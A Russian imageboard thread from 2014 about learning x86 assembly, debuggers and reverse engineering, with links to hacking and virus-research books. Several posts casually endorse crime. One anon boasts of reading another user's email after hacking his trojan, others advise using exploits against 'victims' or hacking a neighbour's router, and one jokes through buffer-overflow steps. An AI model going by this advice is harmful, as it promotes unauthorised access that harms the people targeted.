Есто операционка под x86 архитектуру полностью на ассемблере написанная. Даже DE на нем же писали.

Аноним Чтв 26 Июн 2014 11:37:08  #154 №70700187 

>>70699941
>Откуда пошло-поехало выражение «мочить коры» («мочить корки», «он такие коры мочит!») в значении «много и смешно шутить, сыпля перлами»? Отсюда производное — «корочник», то есть «шутник».
> Что это за коры?

> Обновление 1. Как вам предположение, что «мочить коры» — это редуцированное «смачивать/размачивать корпии»? Ударение совпадает, а сложность произношения ведёт к упрощению звукового состава. Представьте, что в больнице врач должен регулярно делать перевязку, а для того, чтобы убрать присохшую к ране корпию, её нужно размочить. Но даже размачивание в виду ограниченности времени не могло спасти пациента от некоторых весьма болезненных моментов. И для того, чтобы отвлечь больного, доктор начинал во время этой неприятной процедуры всячески шутить — «мочить коры». И пока страдалец смеётся, врач «под шумок» делает своё дело. Если это так, то можно поискать свидетельства в дореволюционных источниках. Или вся эта версия всего лишь «народная этимология»?

> Обновление 2. Выражение «размочить разговор шуткой», возможно, берё семантическое начало от «рассмешить до уссыку», а словосочетание «размочить счёт» тоже связано с «водой» — «сухим счётом». Это всё косвенно льёт воду на мельницу версии «размочить корпии»?

Аноним Чтв 26 Июн 2014 11:39:06  #155 №70700292 
1403768346804.jpg

>>70700187
>корпии
А чего не "коприи"?

Аноним Чтв 26 Июн 2014 11:39:41  #156 №70700308 

>>70699565
Что значит лоадер и почему его проще написать?
В чем суть бота под банки?
Какие сложности с отладкой?

Аноним Чтв 26 Июн 2014 11:40:37  #157 №70700354 

>>70699984
Есть одна мамка на AM3 и атлон 2 Х2. Что посоветуешь, апгрейдить проц или заменить вместе с мамкой на что-то посовременнее?

Аноним Чтв 26 Июн 2014 11:41:04  #158 №70700369 

>>70700129
Уговорил, держи
http://rghost.ru/56581274

Аноним Чтв 26 Июн 2014 11:41:39  #159 №70700401 

>>70700369
еще
http://rghost.ru/56581255

Аноним Чтв 26 Июн 2014 11:42:34  #160 №70700439 

>>70700369
>>70700401
Что там?

Аноним Чтв 26 Июн 2014 11:42:49  #161 №70700445 

>>70700401
Еще?

Аноним Чтв 26 Июн 2014 11:43:56  #162 №70700501 

>>70700439
Техника дизассеблирования в уме (фрагмент из Техники и философии хакерских атак)

и

Образ мышления IDA

Аноним Чтв 26 Июн 2014 11:44:05  #163 №70700506 

>>70700439
там вирус, не кочайти посоны, пишу со швейной машинки

Аноним Чтв 26 Июн 2014 11:46:37  #164 №70700617 

>>70697712 А кто всерьёз пишет на чистом асме что-то кроме дров, тот вообще хуже того, кто хуже червя-пидора.

Аноним Чтв 26 Июн 2014 11:46:58  #165 №70700634 

http://rghost.ru/56581363
Техника сетевых атак

еще есть куча...

Аноним Чтв 26 Июн 2014 11:48:30  #166 №70700711 
1403768910132.jpg

>>70700617
но не хуже того, у кого MVC головного мозга

Аноним Чтв 26 Июн 2014 11:48:42  #167 №70700721 

>>70697777 Квадрипл в треде, все в MASM32!

Аноним Чтв 26 Июн 2014 11:49:23  #168 №70700754 
1403768963176.jpg

>>70700501
>Техника дизассеблирования в уме
Привет Арви! Все дворды ксоришь? А 3r0h1n уже hasp отламывает.
>Образ мышления IDA
Устарела еще в момент выхода.

Собсно, вся суть касперски - нихуя нового сказать не могу, так хоть хелп к иже напишу.
inb4: javascript ломающий все процессоры 0day скачать

Аноним Чтв 26 Июн 2014 11:50:43  #169 №70700808 
1403769043147.gif

>>70700711
Да ты в дырочку прав, нигрилла.

Аноним Чтв 26 Июн 2014 11:52:07  #170 №70700873 

>>70700754
Приятно, но не про меня.
Еще кинуть? Для мозгового штурма?
Есть ли что про ассемблирование под unix?

Аноним Чтв 26 Июн 2014 11:52:30  #171 №70700888 
1403769150857.jpg

>>70700634
>Техника сетевых атак
ОСТАНОВИСЬ!
Ты ща еще Левина выкладывать начнешь

Аноним Чтв 26 Июн 2014 11:53:30  #172 №70700933 

>>70700617
>Драйвера
>асм
Ты отстал от жизни. Асм сейчас нужен исключительно для хаков памяти и оптимизации вычислений(хотя это уже маловероятно, конпиляторы сейчас лучше человека понимают, как оптимизировать арифметику).

Аноним Чтв 26 Июн 2014 11:54:03  #173 №70700970 

>>70700873
>ассемблирование под unix
Если там интел, то ничем асм не отличается.
Только у AT синтаксис непривычный, так что лучше nasm или fasm

Аноним Чтв 26 Июн 2014 11:54:26  #174 №70700986 
1403769266788.png

>>70700754
>Устарела еще в момент выхода
Зато графон, блок-схемы там
и поддерживаемые процы, обожаю её за декомпилятор AVR

Аноним Чтв 26 Июн 2014 11:55:08  #175 №70701026 

>>70700986
сорь, я не понял, что ты про книгу

Аноним Чтв 26 Июн 2014 11:55:32  #176 №70701047 

>>70700888
На, займись чем-то, тебе полезно
http://rghost.ru/56581494

Аноним Чтв 26 Июн 2014 11:56:21  #177 №70701075 

>>70695829
>компьютерный магаз.
>программисты
>ассемблер
Трижды поделил на ноль в одном посте.
>>70700617
Дрова на асме тоже не пишут.
>>70699783
Ты удивишься, но после того как регистров стало поболе (в x86_64) от передачи параметров через стек почти что отказались. В шиндошсе через стек передаются float'ы, в линупсах даже они передаются через регистры SSE
>>70698992
Забудь про сегментную поебень и прочие org 100h, если ты работаешь в ОС, а не на голом железе или в досе, тебе всё это нахуй не нужно.
64-битка отличается как раз тем что там повыкинуты все эти рудименты с адресацией, в том числе.
А также тем что там есть много (относительно) регистров - к rax, rbx, rcx, rdx добавили ещё r8-r15, кроме того вдвое увеличили число SSE регистров.
Поскольку в любом 64-битном проце есть SSE2 - можно забыть про еблю с идиотским стековым x87, и сгрузить все вычисления с плавающей точкой на тот же SSE.

Аноним Чтв 26 Июн 2014 11:57:16  #178 №70701118 

>>70700873
>Есть ли что про ассемблирование под unix?
Максимум, что может потребоваться - инлайн.
https://www.ibm.com/developerworks/ru/library/l-linux_kernel_15/
http://www.iakovlev.org/index.html?p=1483&m=1
>>70700933
Харкачую, кстати, охуенный цикл статей на тему:
https://www.ibm.com/developerworks/ru/library/l-linux_kernel_01/

Аноним Чтв 26 Июн 2014 11:57:21  #179 №70701121 

Аноны выложите литературу по использованию Olly debug, умоляю!

Аноним Чтв 26 Июн 2014 11:58:34  #180 №70701176 

>>70701121
Чем тебе статьи на wasm.ru не угодили?

Аноним Чтв 26 Июн 2014 11:59:40  #181 №70701230 

>>70701047
Да я уже.
Вчера какой-то анон вкидывал всем ссылку на свой трой, типа наеби братуху (rghost.ru/56565917).
Ну я его ломанул, сижу у него в почте, жду реакции или отчетов

Аноним Чтв 26 Июн 2014 11:59:47  #182 №70701234 

>>70700933
Угу, особенно memcpy/memmove/memcmp оптимизированы. Так оптимизированы, что простое написание собственных (даже без ебли с SSE) ускоряет работу с большими кусками памяти в разы.

Аноним Чтв 26 Июн 2014 12:00:15  #183 №70701251 

>>70701121 -> >>70696594

Аноним Чтв 26 Июн 2014 12:00:18  #184 №70701254 

>>70701075
>можно забыть про еблю с идиотским стековым x87
какой же ты пидор, в стеке вычисления с extended double, а в sse только double.

Аноним Чтв 26 Июн 2014 12:01:33  #185 №70701298 

>>70701176
>>70701251
спасибо, почитаю.

Аноним Чтв 26 Июн 2014 12:01:40  #186 №70701305 

Какие альтернативы olly debug под пингвинами?

Аноним Чтв 26 Июн 2014 12:03:38  #187 №70701395 

>>70701254
А теперь скажи, на кой хуй тебе 64 бита мантиссы, особенно если результат ты всё равно будешь хранить в double с 53.
Для большинства современных задач хватает и половинной точности, если ты не маткадоблядок.

Аноним Чтв 26 Июн 2014 12:04:10  #188 №70701417 

>>70701305
gdb с костылями

Аноним Чтв 26 Июн 2014 12:04:17  #189 №70701425 

>>70701305
gdb, kgdb.

Аноним Чтв 26 Июн 2014 12:04:19  #190 №70701428 

>>70701230
Адекваты в треде - лампово


Записки исследователя компьютерных вирусов
http://rghost.ru/56581611

Аноним Чтв 26 Июн 2014 12:05:02  #191 №70701457 

>>70701417
>>70701425
Спасибо

Аноним Чтв 26 Июн 2014 12:06:22  #192 №70701517 

Мне одному смешно в этом треде ? :D

Аноним Чтв 26 Июн 2014 12:07:28  #193 №70701552 

>>70701517
да

Аноним Чтв 26 Июн 2014 12:07:51  #194 №70701567 

>>70701517
нет.

Аноним Чтв 26 Июн 2014 12:08:24  #195 №70701589 

>>70701517
наверное

Аноним Чтв 26 Июн 2014 12:08:34  #196 №70701594 
1403770114744.jpg

>>70695829
Обучу асму x86 (16 bit "real" mode CPU + MS-DOS) за деньги.
Обучу асму x86 (32 bit "protected" mode CPU + Win32) за бОльшие деньги.
Обучу JS (HTML5) за огромные деньги.

Аноним Чтв 26 Июн 2014 12:08:48  #197 №70701604 

>>70701517
Иди нахуй (чтоб по Пелевину было).

Аноним Чтв 26 Июн 2014 12:09:34  #198 №70701629 

>>70701395
если куча вычислений, ты точность потеряешь же, похуй что конечный результат все равно конвертится в double.

Аноним Чтв 26 Июн 2014 12:09:54  #199 №70701647 

>>70701517
незнаю

Аноним Чтв 26 Июн 2014 12:10:21  #200 №70701662 

>>70701604
У Пелевина, кстати, в двух произведениях хорошо описывается работа компьютерных троянов.
Прямо-таки доскональное знание.

Аноним Чтв 26 Июн 2014 12:11:25  #201 №70701708 

>>70701662
Пелевин - философ, а это высшая степень познания принципов мироустройства.

Аноним Чтв 26 Июн 2014 12:12:53  #202 №70701768 

>>70701662
Каких?

Аноним Чтв 26 Июн 2014 12:14:11  #203 №70701822 

>>70701594
А что такое asm.js?

Аноним Чтв 26 Июн 2014 12:14:55  #204 №70701862 

http://rghost.ru/56581755

Записки исследователя компьютерных вирусов 2,фрагмент

Аноним Чтв 26 Июн 2014 12:16:45  #205 №70701941 

>>70701768
В "Generation П" про троян от сисадмина и в "Святочный киберпанк, или Рождественская ночь-117.DIR"

Аноним Чтв 26 Июн 2014 12:17:23  #206 №70701974 

>>70698020
Прям инженер-робототехник? Где учился? Дай фейкомыльце, няша :3

Аноним Чтв 26 Июн 2014 12:17:54  #207 №70701993 

http://rghost.ru/56581815

Фундаментальные основы хакерства

Аноним Чтв 26 Июн 2014 12:19:32  #208 №70702053 

>>70701822
Это подмножество JS (т.е., дополнительные правила и ограничения, как можно и как нельзя писать на JS), чтобы браузер (пока только мозила) смог бы очень сильно заоптимизировать код. Руками, как правило, на asm.js не пишут, а компилят в него из какого-нибудь типизированного языка.

Аноним Чтв 26 Июн 2014 12:19:38  #209 №70702058 

>>70698602
Этого поддвачну. Таненбаум наше все. После его пояснения х86 по хардкору можно уже и за Юрова садиться

Аноним Чтв 26 Июн 2014 12:20:33  #210 №70702094 

>>70701708
>философ
>высшая степень познания принципов мироустройства
Блять, иди ка ты отсюда на хуй, долбоеб.

Аноним Чтв 26 Июн 2014 12:20:39  #211 №70702098 

>>70701993
спасбо! дай еще чего интересного по теме.

Аноним Чтв 26 Июн 2014 12:21:55  #212 №70702157 

>>70701941
"Принц госплана" - про принца Персии, "Шлем ужаса" - про чатики (просто продолжаю вспоминать ИТ-тематику в пелевинских книгах).

Аноним Чтв 26 Июн 2014 12:22:59  #213 №70702200 

>>70702058
Я с Юрова начал, не обломался.

Аноним Чтв 26 Июн 2014 12:23:41  #214 №70702234 

>>70702098
Техника и философия хакерских атак - Записки мыщъх'а

http://rghost.ru/56581899

Аноним Чтв 26 Июн 2014 12:24:51  #215 №70702291 

укрощение интернета

http://rghost.ru/56581902

Аноним Чтв 26 Июн 2014 12:25:15  #216 №70702310 

>>70698939
>космос
>асм
Никто не станет писать код для столь ответственной задачи на асм, проще как рашка просто взорвать ракету на старте и сказать что это жидорептилоиды.

Аноним Чтв 26 Июн 2014 12:25:20  #217 №70702315 

>>70702098
тебя кормят говном

Аноним Чтв 26 Июн 2014 12:25:50  #218 №70702340 

Эти книги разве в свободном доступе не лежат? Я помню несколько лет назад с торрента какого-то скачивал.

Аноним Чтв 26 Июн 2014 12:26:21  #219 №70702366 

>>70702315
ну тогда дай хоть что-то из годноты.

Аноним Чтв 26 Июн 2014 12:26:57  #220 №70702382 

Техника оптимизации программ

http://rghost.ru/56581967

Аноним Чтв 26 Июн 2014 12:29:24  #221 №70702475 

>>70698666
Запускают в космос 486DX потому-что когда его прошьет высокоэнергетическая частица излучения, выйдет из строя 1 транзистор а не 10 тысяч, как было бы в современном процессоре.

Аноним Чтв 26 Июн 2014 12:29:35  #222 №70702481 

>>70695829
>Может стоит сходить в какой компьютерный магаз. Там по любому есть программисты

Это слишком толсто даже для сосача.

Аноним Чтв 26 Июн 2014 12:29:42  #223 №70702486 

>>70702094
Школьник опять путает философию с шизотерико-психологиями.

Аноним Чтв 26 Июн 2014 12:30:44  #224 №70702525 

>>70702315

Альтернатива где?

Отладка без исходных текстов
http://rghost.ru/56582018

Аноним Чтв 26 Июн 2014 12:31:20  #225 №70702551 

>>70702200
У нас просто препод угорал по ассемблеру, мы после его системного программирования могли подробную структурную схему 8086 нарисовать, знали как писать на ассемблере под эту древность. А потом он ещё и про ПИКи точенные на схемотехнике рассказывал. Зато высокоуровневого программирования у нас почти не было. Сейчас, за 4 года все поменялось. Я в некоторой степени завидую студикам моей специальности, которым сейчас преподаю веб-технологии, а на первом курсе им кресты толкают (у нас только пьюр с) было. Но из-за недостатка ассемблера в программе они сейчас не умеют в дебаг, не умеют в логику условий, не умеют в алгоритмизацию задачи. Гугл-копипаст, карочи, кодообезьяны во все поля.

Аноним Чтв 26 Июн 2014 12:33:46  #226 №70702649 

>>70702551
Кодообезьяна зарабатывает больше чем асм обезьяна.

Аноним Чтв 26 Июн 2014 12:34:41  #227 №70702699 

>>70702649
без кодообезьянства зарабатываю больше

Аноним Чтв 26 Июн 2014 12:36:25  #228 №70702781 

Ребят скажите. Реально ли заниматься хакерством в частности взломом программ, подбором паролей и тгд, не знаю языков программирования? Может надо что изучить или почитать?
Дайте советов.

Аноним Чтв 26 Июн 2014 12:38:22  #229 №70702870 

>>70702781
да

Аноним Чтв 26 Июн 2014 12:39:29  #230 №70702920 

>>70702870
Как научиться, расскажи?! Со школы интересно было. Мечта так сказать.

Аноним Чтв 26 Июн 2014 12:40:01  #231 №70702947 

>>70702781
Байтоёбством и занимаются как раз школьники, не осилившие абстракций проектирования.
мимо-в-прошлом-хацкор-троянописец, варившийся в кардерской/скрипткиддерской тусе

Аноним Чтв 26 Июн 2014 12:41:23  #232 №70703009 

>>70702551
Препод ошибался и своё заблуждение внедрил и в вас. Лучше бы лисп задрачивали, тогда ты бы и в асм, и в пхп мог бы слёту.

Аноним Чтв 26 Июн 2014 12:41:46  #233 №70703030 

>>70702947
Так-так подожди. Скажи конкретно Бро. Что нужно знать и уметь.И куда двигаться в дальнейшем от низшего к высшему.

Аноним Чтв 26 Июн 2014 12:42:33  #234 №70703065 

>>70702920

BackTrack 5 R3 linux

Live cd с установленными программами по разным направлением, придется читать про эти программы

http://linuxnotes.net/backtrack/backtrack-5-r3--vyshel-novyy-reliz.html

Аноним Чтв 26 Июн 2014 12:46:01  #235 №70703210 

>>70703009
Но пхп же для дебилов, хуле там его понимать. Это как перл, только для умственно отсталых. "Гыыыыы, нахуя соблюдать все скобочки, комплюктерн и так поймёт, гыыыыы. Ыыыыы интернал сервер эррор, Анон Сычевич, пачиму ни работает?"

Аноним Чтв 26 Июн 2014 12:47:28  #236 №70703272 

>>70703030
Я ничего не знал, у меня даже интернета не было поначалу. Просто ковырялся в винде (понял, как устроен реестр, где драйвера хранятся и т.п. "секреты"), ставил всякие конпеляторы с CD "всё для программистов", там же и мануалы были всякие, уже не вспомнить.
Хорошо, что вовремя соскочил с этой параши в нормальную карьеру (несмотря на детское восхищение баксами, которыми платили за троянов).

Аноним Чтв 26 Июн 2014 12:48:07  #237 №70703304 

>>70703065
Тоесть там программы. Я их нагугливаю и изучаю?

Аноним Чтв 26 Июн 2014 12:49:10  #238 №70703350 

>>70703210
Ясно, школота за синтаксисом ещё не научилась видеть семантику до сих пор. Для тебя все языки отличаются только скобочками и запятыми. Хотя ПХП говном от этого не перестаёт быть, да.

Аноним Чтв 26 Июн 2014 12:51:18  #239 №70703460 

>>70703350
.net решает

Аноним Чтв 26 Июн 2014 12:51:58  #240 №70703490 

>>70703304
Да. + качаешь эксплоиты и с помощью программ применяешь конкретно к отсутсвующим обновлениям ПО жертвам.
За одно линукс можешь освоить.

Аноним Чтв 26 Июн 2014 12:54:10  #241 №70703592 

>>70703065
>BackTrack
И EtherCap! И не забыть установить S.A.T.A.N.

Аноним Чтв 26 Июн 2014 12:54:24  #242 №70703602 

>>70703490
Подожди. А к взлому программ я смогу это применять?
К примеру мне надо ввести ключ?

Аноним Чтв 26 Июн 2014 12:56:02  #243 №70703685 
1403772962448.jpg

Шарпобог поссал на всех байтоёбов итт.

>2014
>ебаться с байтами
ох лол

Аноним Чтв 26 Июн 2014 12:57:46  #244 №70703754 

>>70703602
Взломы разные бывают чтоб найти тот бит отвечающий за верность введенного ключа то тебе надо знать минимум assembler прогрмамм ОЛЯ ollydbg >>70696594


Аноним Чтв 26 Июн 2014 12:58:05  #245 №70703767 

>>70703602
Взламываешь роутер соседа и качаешь кряк.

Аноним Чтв 26 Июн 2014 12:58:23  #246 №70703790 

>>70703602
1. Вводишь много символов
2. Буффер переполняетя.
3. На esp вьезжаешь в eip
4. ???????
5. Exploit!

Аноним Чтв 26 Июн 2014 12:59:54  #247 №70703870 

>>70703685
ildasm'оопущенца спросить забыли.

Аноним Чтв 26 Июн 2014 13:01:59  #248 №70703954 

>>70703460
.NET и JDK решают типичные энтерпрайз-задачи действительно наиболее эффективно. Сюда входит не только непосредственно технология, но и инфраструктура стандартов, сертификации, градации специалистов и т.д.

Аноним Чтв 26 Июн 2014 13:04:29  #249 №70704041 


>>70703754
Ну вот все к этому и сводится. К знанию ассемблера. Что почитать для чайника? Тут уже скидывали архитектуру процессора. Этого хватит?

Успешный преподаватель в треде Аноним Чтв 26 Июн 2014 13:05:43  #250 №70704093 

>>70695829
Асм не нужен, если ты не работаешь в Нвидии и не пишешь драйвера. Он не имеет ничего общего с полноценным программированием. Даже микроконтроллеры сейчас уходят либо в С, либо в собственные языки типа сименсовского STEP7. Разобрать программу, дизассемблировав ее, сейчас практически невозможно. Во-первых, обфускация придумана специально против таких, как ты, во-вторых, сотни строк кода на асме разворачиваются в миллионы, в третьих оно вообще на другой парадигме писалось. Ты, увидев нормальный, необфусцированный, на человеческом языке, с объектами, кусок кода какой-нибудь игрушки, все равно будешь месяц вкуривать, что там и как, а ты по асму собрался разбирать.

Аноним Чтв 26 Июн 2014 13:06:28  #251 №70704124 

>>70704041
Можешь еще архитектуру сопроцессора почитать.

Аноним Чтв 26 Июн 2014 13:08:12  #252 №70704186 

>>70704093
Алсо, начинать с асма - это вообще абсурд. Это как вместо первого секса выебать 80-летнюю старуху. Всю жизнь моральным инвалидом будешь.

Аноним Чтв 26 Июн 2014 13:09:16  #253 №70704239 

>>70703870
Диванный хакир закукарекал)

Аноним Чтв 26 Июн 2014 13:10:18  #254 №70704290 

>>70704093
Еще один драйвера на ассемблере пишет.

Аноним Чтв 26 Июн 2014 13:11:59  #255 №70704374 

>>70695829
Art of Intel x86 Assembly.

Аноним Чтв 26 Июн 2014 13:12:07  #256 №70704380 

>>70704093
Сразу вижу дивана-идеалиста.
мимо-писатель-прошивок-видеоборудования

Аноним Чтв 26 Июн 2014 13:12:28  #257 №70704394 

>>70704186
До уровня основ и написания чего-то простого наоборот не будет лишним разобраться.
А то лезут сразу в свои джавы и си шарпы, в итоге кодят лютое говно. Те самые калькуляторы, жрущие гиг памяти.

Аноним Чтв 26 Июн 2014 13:13:12  #258 №70704427 

>>70704290
Тогда моя совесть чиста, этот недоязык не нужен вообще нахуй.

Аноним Чтв 26 Июн 2014 13:14:37  #259 №70704485 

Вывод из всего треда.
Нужно изучить работу процессора. Потом изучить ассемблер. А потом только приступать к освоению ollydbg и других программ.
И тогда я научусь взламывать программы/игры/аллаха.

-оп

Аноним Чтв 26 Июн 2014 13:16:15  #260 №70704569 

>>70704485
а еще распечатать описание наиболее часто используемых команд и повесить на стену перед собой. Можешь их утащить из юрова

Аноним Чтв 26 Июн 2014 13:17:31  #261 №70704631 

>>70704186
Начинать можно параллельно. Но как раз в этом смысле асм лучше изучать перефирийно, да, по необходимости вникать в тот или иной аспект. Например, чтобы понять вывод отладчика, или в подробностях осознать механизм переключения контекстов в тредах. А специально изучать асм как отдельный инструмент, скорее всего, будет пустой тратой времени для твоей карьеры (с таким же успехом можно и брейнфак поизучать - тоже разминка для мозгов).

Аноним Чтв 26 Июн 2014 13:18:27  #262 №70704684 

>>70704394
Советский инженер с виндовсмастдай головного мозга детектед.

Аноним Чтв 26 Июн 2014 13:18:54  #263 №70704704 

>>70700354
Купи планшет.

Аноним Чтв 26 Июн 2014 13:20:38  #264 №70704783 

>>70704427
> недоязык
Это же просто символьная запись инструкций процессора.

Аноним Чтв 26 Июн 2014 13:22:32  #265 №70704883 

>>70704684
Погромирую на шарпе, лолка.

Аноним Чтв 26 Июн 2014 13:22:36  #266 №70704889 

>>70704093
>Разобрать программу, дизассемблировав ее, сейчас практически невозможно. Во-первых, обфускация
Вот и первые кукаретики.
Во первых обфускация разбирается по графу выполнения.
Во вторых ее не везде возможно использовать, т.к. увеличение кода=увеличение времени исполнения.
>сотни строк кода на асме разворачиваются в миллионы
wtf am i reading?
>на человеческом языке
1C? петросян.жпг

Аноним Чтв 26 Июн 2014 13:26:52  #267 №70705093 

>>70695829
Изучи архитектуру ЭВМ. Допустим, на примере процессора intel 80386. Ведь сам АСМ, то есть его мнемонические команды определяются физической архитектурой. То есть не стоит учить АСМ обособленно и в отрыве от архитектур. Такие вот дела.
Грубо говоря, тебе нужно разобраться как работает процессор (ключи: регистр, порты вода/вывода, счетчик команд, и прочее говно) и как с помощью всего этого он взаимодействует с чем-либо, что подключено к этим портам.
самуже мало что помню, говнокодю на с++

Аноним Чтв 26 Июн 2014 13:40:07  #268 №70705754 

Все, выучил ассемблер.
Можно закрывать тред.

Аноним Чтв 26 Июн 2014 13:42:58  #269 №70705911 

>>70705754
/thread

Аноним Чтв 26 Июн 2014 13:44:04  #270 №70705965 

>>70705754
Погоди, мне чуть-чуть осталось.

Аноним Чтв 26 Июн 2014 13:44:29  #271 №70705986 

>>70705911
goto >>70695866

Аноним Чтв 26 Июн 2014 13:47:53  #272 №70706162 

>>70705986
Нет

br bump
Аноним Чтв 26 Июн 2014 13:48:34  #273 №70706204 

>>70706162
>br bump
лолнуб
hr-господин

sageАноним Чтв 26 Июн 2014 14:02:40  #274 №70706860 

>>70706162
Оуеть, сработало.

comments powered by Disqus

Отзывы и предложения